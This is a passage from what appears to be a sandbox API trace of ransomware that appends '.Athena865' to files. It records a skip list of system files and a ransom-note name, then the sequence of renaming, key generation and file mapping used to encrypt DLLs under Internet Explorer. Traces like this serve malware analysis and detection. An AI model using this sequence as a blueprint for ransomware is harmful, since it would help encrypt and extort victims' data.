ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0038.262] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.262] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.262] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2=".") returned 1 [0038.262] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="..") returned 1 [0038.262] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="windows") returned -1 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="bootmgr") returned 1 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="temp") returned -1 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="pagefile.sys") returned -1 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="boot") returned 1 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="ids.txt") returned 1 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="ntuser.dat") returned -1 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="perflogs") returned -1 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="MSBuild") returned -1 [0038.263] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0038.263] lstrcpyW (in: lpString1=0x241e88e, lpString2="jsdebuggeride.dll" | out: lpString1="jsdebuggeride.dll") returned="jsdebuggeride.dll" [0038.263] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0038.263] lstrlenW (lpString="Athena865") returned 9 [0038.263] lstrcmpiW (lpString1="eride.dll", lpString2="Athena865") returned 1 [0038.263] lstrlenW (lpString=".dll") returned 4 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2=".dll") returned 1 [0038.263] lstrlenW (lpString=".lnk") returned 4 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2=".lnk") returned 1 [0038.263] lstrlenW (lpString=".ini") returned 4 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2=".ini") returned 1 [0038.263] lstrlenW (lpString=".sys") returned 4 [0038.263] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2=".sys") returned 1 [0038.263] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0038.263] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll.Athena865") returned 62 [0038.263] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll.athena865"), dwFlags=0x1) returned 1 [0038.264] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.264] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=144896) returned 1 [0038.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.264] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.265] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.265] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.265] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23900, lpName=0x0) returned 0x154 [0038.267] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23900) returned 0x170000 [0038.272] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.272] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.272] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.272] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.272] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.272] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.273] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0038.274] CloseHandle (hObject=0x154) returned 1 [0038.274] CloseHandle (hObject=0x17c) returned 1 [0038.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.277] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2=".") returned 1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="..") returned 1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="windows") returned -1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="bootmgr") returned 1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="temp") returned -1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="pagefile.sys") returned -1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="boot") returned 1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="ids.txt") returned 1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="ntuser.dat") returned -1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="perflogs") returned -1 [0038.277] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="MSBuild") returned -1 [0038.277] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0038.277] lstrcpyW (in: lpString1=0x241e88e, lpString2="JSProfilerCore.dll" | out: lpString1="JSProfilerCore.dll") returned="JSProfilerCore.dll" [0038.277] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0038.278] lstrlenW (lpString="Athena865") returned 9 [0038.278] lstrcmpiW (lpString1="rCore.dll", lpString2="Athena865") returned 1 [0038.278] lstrlenW (lpString=".dll") returned 4 [0038.278] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2=".dll") returned 1 [0038.278] lstrlenW (lpString=".lnk") returned 4 [0038.278] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2=".lnk") returned 1 [0038.278] lstrlenW (lpString=".ini") returned 4 [0038.278] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2=".ini") returned 1 [0038.278] lstrlenW (lpString=".sys") returned 4 [0038.278] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2=".sys") returned 1 [0038.278] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0038.278] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll.Athena865") returned 63 [0038.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll.athena865"), dwFlags=0x1) returned 1 [0038.279] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.279] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=132096) returned 1 [0038.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.280] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.280] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.280] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.280] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20700, lpName=0x0) returned 0x154 [0038.282] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20700) returned 0x170000 [0038.289] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.289] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.289] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.290] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0038.291] CloseHandle (hObject=0x154) returned 1 [0038.291] CloseHandle (hObject=0x17c) returned 1 [0038.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.294] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2=".") returned 1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="..") returned 1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="windows") returned -1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="bootmgr") returned 1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="temp") returned -1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="pagefile.sys") returned -1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="boot") returned 1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="ids.txt") returned 1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="ntuser.dat") returned -1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="perflogs") returned -1 [0038.294] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="MSBuild") returned -1 [0038.294] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0038.294] lstrcpyW (in: lpString1=0x241e88e, lpString2="jsprofilerui.dll" | out: lpString1="jsprofilerui.dll") returned="jsprofilerui.dll" [0038.295] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0038.295] lstrlenW (lpString="Athena865") returned 9 [0038.295] lstrcmpiW (lpString1="lerui.dll", lpString2="Athena865") returned 1 [0038.295] lstrlenW (lpString=".dll") returned 4 [0038.295] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2=".dll") returned 1 [0038.295] lstrlenW (lpString=".lnk") returned 4 [0038.295] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2=".lnk") returned 1 [0038.295] lstrlenW (lpString=".ini") returned 4 [0038.295] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2=".ini") returned 1 [0038.295] lstrlenW (lpString=".sys") returned 4 [0038.295] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2=".sys") returned 1 [0038.295] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0038.295] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\jsprofilerui.dll.Athena865") returned 61 [0038.295] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\jsprofilerui.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll.athena865"), dwFlags=0x1) returned 1 [0038.296] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\jsprofilerui.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.296] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=287744) returned 1 [0038.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.296] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.297] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.297] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.297] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46700, lpName=0x0) returned 0x154 [0038.298] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46700) returned 0x1f0000 [0038.307] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.308] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.308] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.309] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0038.312] CloseHandle (hObject=0x154) returned 1 [0038.312] CloseHandle (hObject=0x17c) returned 1 [0038.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.317] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2=".") returned 1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="..") returned 1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="windows") returned -1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="bootmgr") returned 1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="temp") returned -1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="pagefile.sys") returned -1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="boot") returned 1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="ids.txt") returned 1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="ntuser.dat") returned -1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="perflogs") returned -1 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2="MSBuild") returned 1 [0038.317] lstrlenW (lpString="msdbg2.dll") returned 10 [0038.317] lstrcpyW (in: lpString1=0x241e88e, lpString2="msdbg2.dll" | out: lpString1="msdbg2.dll") returned="msdbg2.dll" [0038.317] lstrlenW (lpString="msdbg2.dll") returned 10 [0038.317] lstrlenW (lpString="Athena865") returned 9 [0038.317] lstrcmpiW (lpString1="sdbg2.dll", lpString2="Athena865") returned 1 [0038.317] lstrlenW (lpString=".dll") returned 4 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2=".dll") returned 1 [0038.317] lstrlenW (lpString=".lnk") returned 4 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2=".lnk") returned 1 [0038.317] lstrlenW (lpString=".ini") returned 4 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2=".ini") returned 1 [0038.317] lstrlenW (lpString=".sys") returned 4 [0038.317] lstrcmpiW (lpString1="msdbg2.dll", lpString2=".sys") returned 1 [0038.317] lstrlenW (lpString="msdbg2.dll") returned 10 [0038.317] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\msdbg2.dll.Athena865") returned 55 [0038.317] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\msdbg2.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll.athena865"), dwFlags=0x1) returned 1 [0038.318] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\msdbg2.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.318] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=358904) returned 1 [0038.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.319] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.319] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.319] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.320] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x57d00, lpName=0x0) returned 0x154 [0038.321] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x57d00) returned 0x1f0000 [0038.332] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.332] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.333] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.333] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0038.336] CloseHandle (hObject=0x154) returned 1 [0038.336] CloseHandle (hObject=0x17c) returned 1 [0038.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.342] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 